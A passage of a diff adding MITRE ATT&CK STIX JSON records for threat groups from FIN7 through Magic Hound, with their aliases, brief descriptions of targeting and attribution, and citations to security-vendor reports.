"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "source_name": "FireEye FIN7 Aug 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "source_name": "Morphisec FIN7 June 2017", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "source_name": "FireEye FIN7 Shim Databases", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:09.460Z", + "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-10-15T17:03:11.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.3" + }, + { + "aliases": [ + "FIN8" + ], + "type": "intrusion-set", + "name": "FIN8", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)", + "external_references": [ + { + "external_id": "G0061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0061" + }, + { + "description": "(Citation: FireEye Obfuscation June 2017)", + "source_name": "FIN8" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "source_name": "FireEye Fin8 May 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-10-01T14:35:15.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "GCMAN" + ], + "type": "intrusion-set", + "name": "GCMAN", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", + "external_references": [ + { + "external_id": "G0036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0036" + }, + { + "description": "(Citation: Securelist GCMAN)", + "source_name": "GCMAN" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "source_name": "Securelist GCMAN", + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:05.611Z", + "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Gallmaker" + ], + "type": "intrusion-set", + "name": "Gallmaker", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0084", + "url": "https://attack.mitre.org/groups/G0084" + }, + { + "description": "(Citation: Symantec Gallmaker Oct 2018)", + "source_name": "Gallmaker" + }, + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:26:42.897Z", + "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Gamaredon Group" + ], + "type": "intrusion-set", + "name": "Gamaredon Group", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", + "external_references": [ + { + "external_id": "G0047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0047" + }, + { + "description": "(Citation: Palo Alto Gamaredon Feb 2017)", + "source_name": "Gamaredon Group" + }, + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:09.849Z", + "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "modified": "2019-03-25T12:57:18.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Gorgon Group" + ], + "type": "intrusion-set", + "name": "Gorgon Group", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)", + "external_references": [ + { + "external_id": "G0078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0078" + }, + { + "description": "(Citation: Unit 42 Gorgon Group Aug 2018)", + "source_name": "Gorgon Group" + }, + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-10-11T19:39:42.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.3" + }, + { + "aliases": [ + "Group5" + ], + "type": "intrusion-set", + "name": "Group5", + "description": "[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0043", + "url": "https://attack.mitre.org/groups/G0043" + }, + { + "description": "(Citation: Citizen Lab Group5)", + "source_name": "Group5" + }, + { + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "source_name": "Citizen Lab Group5", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:08.304Z", + "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "modified": "2019-07-25T17:52:06.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Honeybee" + ], + "type": "intrusion-set", + "name": "Honeybee", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)", + "external_references": [ + { + "external_id": "G0072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0072" + }, + { + "description": "(Citation: McAfee Honeybee)", + "source_name": "Honeybee" + }, + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:43.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Ke3chang", + "APT15", + "Mirage", + "Vixen Panda", + "GREF", + "Playful Dragon", + "RoyalAPT" + ], + "type": "intrusion-set", + "name": "Ke3chang", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China.\n[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "external_references": [ + { + "external_id": "G0004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0004" + }, + { + "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Ke3chang" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "APT15" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "Mirage" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Vixen Panda" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "GREF" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "source_name": "Playful Dragon" + }, + { + "description": "(Citation: APT15 Intezer June 2018)", + "source_name": "RoyalAPT" + }, + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + }, + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:47.177Z", + "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Kimsuky", + "Velvet Chollima" + ], + "type": "intrusion-set", + "name": "Kimsuky", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0094", + "url": "https://attack.mitre.org/groups/G0094" + }, + { + "description": "(Citation: Securelist Kimsuky Sept 2013)", + "source_name": "Kimsuky" + }, + { + "description": "(Citation: Zdnet Kimsuky Dec 2018)", + "source_name": "Velvet Chollima" + }, + { + "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.", + "source_name": "EST Kimsuky April 2019", + "url": "https://blog.alyac.co.kr/2234" + }, + { + "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", + "source_name": "BRI Kimsuky April 2019", + "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/" + }, + { + "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", + "source_name": "Securelist Kimsuky Sept 2013", + "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/" + }, + { + "source_name": "Zdnet Kimsuky Dec 2018", + "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", + "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26T15:03:02.577Z", + "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "modified": "2019-10-07T18:26:15.460Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Lazarus Group", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY" + ], + "type": "intrusion-set", + "name": "Lazarus Group", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "external_references": [ + { + "external_id": "G0032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0032" + }, + { + "description": "(Citation: Novetta Blockbuster)", + "source_name": "Lazarus Group" + }, + { + "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)", + "source_name": "HIDDEN COBRA" + }, + { + "description": "(Citation: US-CERT HIDDEN COBRA June 2017)", + "source_name": "Guardians of Peace" + }, + { + "description": "(Citation: Microsoft ZINC disruption Dec 2017)", + "source_name": "ZINC" + }, + { + "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)", + "source_name": "NICKEL ACADEMY" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "source_name": "Novetta Blockbuster", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "source_name": "Lazarus KillDisk", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + }, + { + "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", + "source_name": "Microsoft ZINC disruption Dec 2017", + "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" + }, + { + "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", + "source_name": "Secureworks NICKEL ACADEMY Dec 2017", + "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:03.807Z", + "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-10-04T22:20:20.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "aliases": [ + "Leafminer", + "Raspite" + ], + "type": "intrusion-set", + "name": "Leafminer", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)", + "external_references": [ + { + "external_id": "G0077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0077" + }, + { + "description": "(Citation: Symantec Leafminer July 2018)", + "source_name": "Leafminer" + }, + { + "description": "(Citation: Dragos Raspite Aug 2018)", + "source_name": "Raspite" + }, + { + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "source_name": "Symantec Leafminer July 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + }, + { + "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.", + "source_name": "Dragos Raspite Aug 2018", + "url": "https://www.dragos.com/blog/20180802Raspite.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-10-05T02:35:41.873Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.1" + }, + { + "aliases": [ + "Leviathan", + "TEMP.Jumper", + "APT40", + "TEMP.Periscope" + ], + "name": "Leviathan", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "id": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-09-23T13:20:20.607Z", + "external_references": [ + { + "external_id": "G0065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0065" + }, + { + "description": "(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "Leviathan" + }, + { + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019)", + "source_name": "TEMP.Jumper" + }, + { + "description": "The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017)", + "source_name": "APT40" + }, + { + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)", + "source_name": "TEMP.Periscope" + }, + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + }, + { + "source_name": "FireEye APT40 March 2019", + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ] + }, + { + "aliases": [ + "Lotus Blossom", + "DRAGONFISH", + "Spring Dragon" + ], + "type": "intrusion-set", + "name": "Lotus Blossom", + "description": "[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)", + "external_references": [ + { + "external_id": "G0030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0030" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Lotus Blossom" + }, + { + "description": "(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "DRAGONFISH" + }, + { + "description": "(Citation: Spring Dragon Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Spring Dragon" + }, + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + }, + { + "source_name": "Spring Dragon Jun 2015", + "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.", + "url": "https://securelist.com/the-spring-dragon-apt/70726/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:01.092Z", + "id": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "modified": "2019-03-25T14:17:43.218Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0" + }, + { + "type": "intrusion-set", + "name": "MONSOON", + "revoked": true, + "created": "2017-05-31T21:32:07.928Z", + "id": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772", + "modified": "2018-10-17T00:17:13.469Z", + "external_references": [ + { + "external_id": "G0042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0042" + } + ] + }, + { + "aliases": [ + "Machete", + "El Machete" + ], + "name": "Machete", + "description": "[Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "id": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Matias Nicolas Porolli, ESET" + ], + "created": "2019-09-13T12:37:10.394Z", + "modified": "2019-10-15T22:28:40.249Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0095", + "url": "https://attack.mitre.org/groups/G0095" + }, + { + "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "source_name": "Machete" + }, + { + "description": "(Citation: Cylance Machete Mar 2017)", + "source_name": "El Machete" + }, + { + "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", + "source_name": "Cylance Machete Mar 2017", + "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html" + }, + { + "source_name": "Securelist Machete Aug 2014", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", + "url": "https://securelist.com/el-machete/66108/" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ] + }, + { + "aliases": [ + "Magic Hound", + "Rocket Kitten", + "Operation Saffron Rose", + "Ajax Security Team", + "Operation Woolen-Goldfish", + "Newscaster", + "Cobalt Gypsy", + "APT35" + ], + "name": "Magic Hound", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)", + "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Bryan Lee" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2019-10-15T17:33:21.974Z", + "external_references": [ + { + "external_id": "G0059", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0059" + }, + { + "description": "(Citation: Unit 42 Magic Hound Feb 2017)", + "source_name": "Magic Hound" + }, + { + "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group 